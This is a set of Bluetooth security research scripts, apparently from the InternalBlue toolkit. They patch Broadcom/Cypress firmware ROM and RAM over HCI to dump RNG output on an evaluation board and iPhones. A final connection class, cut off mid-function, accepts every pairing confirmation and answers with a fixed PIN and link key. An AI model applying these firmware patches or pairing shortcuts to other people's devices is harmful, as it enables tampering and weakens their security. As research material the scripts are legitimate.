patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20819-randomdata-0x500-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
+261
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@@ -0,0 +1,261 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.hcicore import HCICore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
import os
from datetime import datetime
import binascii
"""
Measure the RNG of the CYW20819 Evaluation Board.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* BT only, no need to disable Wi-Fi.
* CYW20819-specific patch: Launch_RAM crashes the chip, so we build
our own HCI handler.
"""
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
ASM_LOCATION_RNG = 0x219000
# 0x219000 crashed with 0x1000 in round 27
# 0x216000 looks emptier but crashed on first attempt
# memdump doesn't look so good in binwalk entropy, so we really don't have memory I fear
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x100 # run this often (x5 bytes) .. worked with 0x500 in one run but then didn't in another
# longer snippets (0x600) don't work! 0x500 works but is corrupted by other process.
FUN_RNG = 0xB2562 # original RNG function that we overwrite with bx lr
PRAND = 0x3186A0 # the pseudo random register we want to benchmark
# !!! also uses either cache or HRNG even though the first check failed, and then the following 4 registers
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x410434 agcStatus_adr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x1179E // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 243
mov r1, 0xff
mov r0, 245
bl 0x117CA // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10 // buffer starts at 10 with data
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x1156E // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Installing assembly patches...")
# Disable Patchram
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
# progress_log.critical("error!")
# exit(-1)
# Install the RNG code in RAM
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # 0x219001
log.critical("Could not implement our launch RAM fix!")
exit(-1)
# Disable functions that crash us when using the target memory region at 0x219000
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(0x79AC6, patch):
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
# print the data as a demo
random = np.delete(random, np.arange(4, random.__len__(), 5))
randstring = binascii.hexlify(bytearray(random))
log.info([randstring[i:i+8] for i in range(0, len(randstring), 8)])
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("cyw20819-randomdata_pseudo-0x500-%irounds-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
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#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.ioscore import iOSCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
"""
Measure the RNG of the iPhone 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* !!! Wi-Fi must be disabled by hand.
"""
# at 0x211000 we have 0x200 (but not 0x300)
# at 0x213000 we have 0x500 (0x700 broke after 39)
# at 0x212a00 we have 0xa00 (but not 0x1000)
# at 0x212800 we have 0xd00 (but not 0xe00) - not really if we look into dumpmem! its less
# at 0x212600 we got blockage, same at 0x212700
ASM_LOCATION_RNG = 0x212800 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x790 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x916BA # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x314008
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: 0x314004=1
mov r3, 1
ldr r2, =0x314004
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x31400c
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x15DD4 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x573B8 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x581AE // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i6_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
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#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.ioscore import iOSCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
"""
Measure the RNG of the iPhone 6.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* !!! Wi-Fi must be disabled by hand.
"""
# at 0x211000 we have 0x200 (but not 0x300)
# at 0x213000 we have 0x500 (0x700 broke after 39)
# at 0x212a00 we have 0xa00 (but not 0x1000)
# at 0x212800 we have 0xd00 (but not 0xe00)
# at 0x212600 we got blockage, same at 0x212700
ASM_LOCATION_RNG = 0x212800 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0xd00 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
FUN_RNG = 0x916BA # original RNG function that we overwrite with bx lr
PRAND = 0x200880
# 0x318088 dc_nbtc_clk_adr
# 0x32A004 timer1value_adr
# 0x3186A0 dc_fhout_adr
# 0x31FC34 agcStatus_adr
# 0x31FFA0 rxInitAngle_adr
# 0x31F8A4 spurFreqErr1_adr
# 0x31FD48 rxPskPhErr5_adr
# 0x200880 *mm_top TODO needs special memcpy but is only used once for init
ASM_SNIPPET_RNG = """
// use r0-r7 locally
push {r0-r7, lr}
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_pseudo
// done, let's notify
bl notify_hci
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_pseudo:
// dst is in r1, dump RNG value here
ldr r2, =0x%x
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_pseudo
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r1, 6 // event length (+2)
mov r0, 0xff // type: vendor specific
bl 0x15DD4 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 2 // buffer starts at 2 with data (?)
ldr r1, =0x444e4152 // RAND
str r1, [r0]
add r0, 4 // advance buffer by 4
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x573B8 // send_hci_event_without_free()
// free HCI buffer
mov r0, r4
bl 0x581AE // osapi_blockPoolFree
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 100
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# every 5th byte i 0x42
check = data[4::5]
for c in check:
if c != 0x42:
log.error("Data was corrupted by another process!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i6_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
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#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.ioscore import iOSCore
import internalblue.hci as hci
import internalblue.cli as cli
import numpy as np
from datetime import datetime
"""
Measure the RNG of the iPhone 7.
Similar to matedealer's thesis, p. 51.
Changes:
* Every 5th byte is now 0x42 to ensure that no other process wrote
into this memory region in the meantime. Does it job and cheaper
than checksums.
* When we are done, we send an HCI event containing 'RAND'. We catch
this with a callback. Way more efficient than polling.
* We overwrite the original `rbg_rand` function with `bx lr` to
ensure we're the only ones accessing the RNG.
* !!! Wi-Fi must be disabled by hand.
"""
# hd --len 0x1100 0x20f200
# hd --len 0x1000 0x222000
# hd --len 0x3000 0x229000
ASM_LOCATION_RNG = 0x229000 # load our snippet here
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
MEM_ROUNDS = 0x900 # run this often (x5 bytes)
FUN_RNG = 0x6CE22 # original RNG function that we overwrite with bx lr
ASM_SNIPPET_RNG = """
pop {r4-r8, lr} // fix the launch ram 4 byte thingie
// use r0-r7 locally
push {r0-r7, lr}
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
mov r0, #0xFC4E // launch RAM command
mov r1, 0 // event success
bl 0x2BCA // bthci_event_SendCommandCompleteEventWithStatus
// enter RNG dumping mode
ldr r0, =0x%x // run this many rounds
ldr r1, =0x%x // dst: store RNG data here
bl dump_rng
// done, let's notify
bl notify_hci // doesn't work on iPhone 7 !!!
// back to lr
pop {r0-r7, pc}
//// the main RNG dumping routine
dump_rng:
// wait until RNG is ready, which is indicated by status 0x200fffff
wait_ready:
ldr r2,=0x352604
ldr r2, [r2]
ldr r3, =0x200fffff
cmp r2, r3
bne wait_ready
// request new entropy: rbg_control_adr=1
mov r3, 1
ldr r2, =0x352600
str r3, [r2]
// dst is in r1, dump RNG value here
ldr r2, =0x352608
ldr r3, [r2]
str r3, [r1]
add r1, 4
// add a test byte to ensure that no other process wrote here
mov r3, 0x42
str r3, [r1]
add r1, 1
// loop for rounds in r0
subs r0, 1
bne dump_rng
bx lr
//// issue an HCI event once we're done
notify_hci:
push {r0-r4, lr}
// allocate vendor specific hci event
mov r2, 6
mov r1, 0xff
mov r0, 8
bl 0x2BF2 // bthci_event_AllocateEventAndFillHeader
mov r4, r0 // save pointer to the buffer in r4
// append buffer with "RAND"
add r0, 10
ldr r1, =0x444e4152 // RAND
str r1, [r0]
// send hci event
mov r0, r4 // back to buffer at offset 0
bl 0x29E0 // bthci_event_AttemptToEnqueueEventToTransport
pop {r0-r4, pc}
""" % (MEM_ROUNDS, MEM_RNG)
internalblue = iOSCore(log_level='info')
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches...")
"""
# Disable original RNG
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
if not internalblue.patchRom(FUN_RNG, patch):
log.critical("Could not disable original RNG!")
exit(-1)
"""
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# iPhone 7 Launch_RAM fix: overwrite an unused HCI handler
# Here it is not called within the handler table but within another function.
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x607AC)
if not internalblue.patchRom(0x607AC, patch, 0): # use slot 0 and only slot 0
log.critical("Could not implement our launch RAM fix!")
exit(-1)
log.info("Installed all RNG hooks.")
"""
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
than polling a status register in the Bluetooth firmware itself.
"""
# global status
internalblue.rnd_done = False
def rngStatusCallback(record):
hcipkt = record[0] # get HCI Event packet
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
log.debug("Random data done!")
internalblue.rnd_done = True
# add RNG callback
internalblue.registerHciCallback(rngStatusCallback)
#cli.commandLoop(internalblue)
# read for multiple rounds to get more experiment data
rounds = 1000
i = 0
data = bytearray()
while rounds > i:
log.info("RNG round %i..." % i)
# launch assembly snippet
internalblue.launchRam(ASM_LOCATION_RNG)
# wait until we set the global variable that everything is done
while not internalblue.rnd_done:
continue
internalblue.rnd_done = False
# and now read and save the random
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
# do an immediate check to tell where the corruption happened
check = random[4::5]
pos = 0
failed = False
for c in check:
pos = pos + 1
if c != 0x42:
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
failed = True
break
if failed:
continue
# no errors, save data
data.extend(random)
i = i + 1
log.info("Finished acquiring random data!")
# uhm and for deleting every 5th let's take numpy (oh why??)
data = np.delete(data, np.arange(4, data.__len__(), 5))
f = open("i7_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
f.write(data)
f.close()
#log.info("--------------------")
#log.info("Entering InternalBlue CLI to interpret RNG.")
## enter CLI
#cli.commandLoop(internalblue)
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# This class can be used to create a bluetooth connection
# to a remote device. currently it only supports unauthenticated
# connections. in general, it is very basic and offers the bare minimum
# to semi-reliably hold an active l2cap channel.
import time
import struct
import threading
from pwn import *
import internalblue.hci as hci
CONNECTION_TYPE_CLASSIC = 0
CONNECTION_TYPE_BLE = 1
class BluetoothConnection:
def __init__(self, core, bd_addr, reconnect=1, keepalive=True, timeout=5):
self.core = core
self.remote_addr = bd_addr
self.reconnect = reconnect
self.keepalive = keepalive
self.timeout = timeout
# the handle also determines whether there is currently an active connection
self.handle = None
self.aclHandlers = []
self.reconnect_counter = 0
self.keepalive_active = False
self.link_keys = {}
self.encrypted = False
self.started_connection = False
# connection type can be either 0 (classic) or 1 (ble), default is classic
self.connection_type = CONNECTION_TYPE_CLASSIC
self.connection_callback = None
self.encryption_callback = None
self.core.registerHciCallback(self._callback)
def _keepaliveTimer(self):
if self.keepalive and self.handle:
self._sendKeepalive()
if self.keepalive_active:
threading.Timer(1, self._keepaliveTimer).start()
def _sendKeepalive(self):
pass
def _callback(self, record):
h4_record = record[0]
if issubclass(h4_record.__class__, hci.HCI_Event):
self._hciEventHandler(h4_record)
elif issubclass(h4_record.__class__, hci.HCI_Acl):
self._aclEventHandler(h4_record.getRaw())
def _hciEventHandler(self, h4_record):
event = h4_record.event_code
hci_data = h4_record.data
status = hci_data[0]
# connection complete event
if event == 3:
# connection complete - sucess
if status == 0:
handle = struct.unpack_from("h", hci_data[1:])[0]
self.handle = handle
log.info("Connection to %s complete", binascii.hexlify(self.remote_addr).decode("utf-8"))
self.keepalive_active = True
self._keepaliveTimer()
# connection complete - page timeout
elif status == 4:
log.info("Page timeout while connecting to %s", binascii.hexlify(self.remote_addr).decode("utf-8"))
# disconnection complete event
elif event == 5:
self.handle = None
log.info("Disconnected from " + binascii.hexlify(self.remote_addr).decode("utf-8"))
if self.reconnect_counter < self.reconnect:
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
self.reconnect)
# wait a second, otherwise we sometimes don't get the connection complete event...
time.sleep(1)
self.connect()
self.reconnect_counter += 1
# authentication complete
elif event == 6:
# workaround as there is apparently a bug in pythons struct
(status, ) = struct.unpack_from("b", hci_data)
(handle, ) = struct.unpack_from("h", hci_data[1:])
log.info("got Authentication Complete from handle %s, status: %d", hex(handle),
status)
if status == 0:
# authentication was successful, now set connection encryption
self.core.sendHciCommand(0x0413, p16(handle) + "\x01")
self.encrypted = True
if self.encryption_callback:
self.encryption_callback()
pass
else:
handle = 0
# encryption change complete
elif event == 8:
(handle, encrypt) = struct.unpack_from("hb", hci_data)
log.info("Got Encryption Change Complete from handle %s, encrypt: %d", hex(handle),
encrypt)
# pin code request
elif event == 0x16:
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got Pin Code Request for %s", binascii.hexlify(bd_addr).decode("utf-8"))
self.core.sendHciCommand(0x040d, bd_addr + "\x00" + "\x41"*0x10)
# link key request
elif event == 0x17:
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got Link Key request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# link keys are not really implemented yet, just return a random link key
self.core.sendHciCommand(0x040b, bd_addr + bytes.fromhex("0d2017c7f90a78cefeeed32210e6519a"))
return
if bd_addr in self.link_keys:
# we have a link key for this device, set it
lkey_buf = self.link_keys[bd_addr][::-1]
self.core.sendHciCommand(0x040b, bd_addr + lkey_buf)
else:
# send negative link key reply, we don't have a key
self.core.sendHciCommand(0x040c, bd_addr)
# link key notification
elif event == 0x18:
(bd_addr, link_key) = struct.unpack_from("6s16s", hci_data)
log.info("Got Link Key notification from %s, key: %s", bd_addr, binascii.hexlify(link_key).decode("utf-8"))
self.link_keys[bd_addr] = link_key
# io capability request
elif event == 0x31:
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got IO capability request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# pretend to not have a display or oob data present
# no display: 0x03, no oob: 0x00, auth requirements: 0x02
self.core.sendHciCommand(0x042b, bd_addr + "\x03\x00\x02")
# user confirmation request
elif event == 0x33:
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got user confirmation request from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# we just accept any confirmation requests
self.core.sendHciCommand(0x42c, bd_addr)
# simple pairing complete
elif event == 0x36:
(bd_addr, ) = struct.unpack_from("6s", hci_data)
log.info("Got simple pairing complete from %s", binascii.hexlify(bd_addr).decode("utf-8"))
# le event
# everything from le lands here...
elif event == 0x3e:
le_event_type = hci_data[0]
le_handle = struct.unpack_from("h", hci_data[2:4])[0]
# enhanced connection complete
if le_event_type == 0x0a:
log.info("Got le enhanced connection complete, removing device from whitelist")
self.core.sendHciCommand(0x2012, bytes.fromhex("00") + self.remote_addr[::-1])
elif le_event_type == 0x01:
# sometimes we get connection complete events from previous sessions
log.info("got le connection complete with handle %d", le_handle)
if self.started_connection:
self.handle = le_handle
else:
log.info("but ignoring it as we did not initiate this connection")
def _aclEventHandler(self, data):
log.debug("Received ACL data: %s", binascii.hexlify(data).decode("utf-8"))
for handler in self.aclHandlers:
handler(data)
def encryptConnection(self):
log.info("+ + + + + + + + Encrypt + + + + + + + +")
if not self.handle:
log.info("Cannot encrypt, no active connection")
return
# authentication requested hci cmd
log.info("Send authentication requested hci cmd")
self.core.sendHciCommand(0x0411, p8(self.handle) + "\x00")
timeout = 3
ctr = 0
# wait 3 seconds for an encryted connection
while ctr < timeout:
time.sleep(0.1)
if self.encrypted:
return True
return False
def registerACLHandler(self, handler):
self.aclHandlers.append(handler)
log.debug("Registered new acl handler")
def sendACL(self, data):
data_len = p16(len(data))
handle = p16(self.handle | 0x2000)
log.debug("Sent acl data: %s", binascii.hexlify(data).decode("utf-8"))
self.core.sendH4(0x02, handle + data_len + data)
def connect(self):
if self.connection_type == CONNECTION_TYPE_CLASSIC:
self.core.connectToRemoteDevice(self.remote_addr)
elif self.connection_type == CONNECTION_TYPE_BLE:
# connection cancel
self.core.sendHciCommand(0x200e, b"")
# currently only supports random ble addresses, which are the ones
# we're targeting here anyways
self.core.connectToRemoteLEDevice(self.remote_addr, addr_type=0x01)
self.started_connection = True
else:
log.error("invalid connection type: %d", self.connection_type)
timeout_counter = 0
while timeout_counter < self.timeout:
if self.handle:
break
time.sleep(0.1)
timeout_counter += 0.1
if self.handle is None:
status = False
log.info("Connection timeout")
if self.reconnect_counter < self.reconnect:
log.info("Trying to reconnect (attempt %d of %d)", self.reconnect_counter,
self.reconnect)
self.reconnect_counter += 1
status = self.connect()
else:
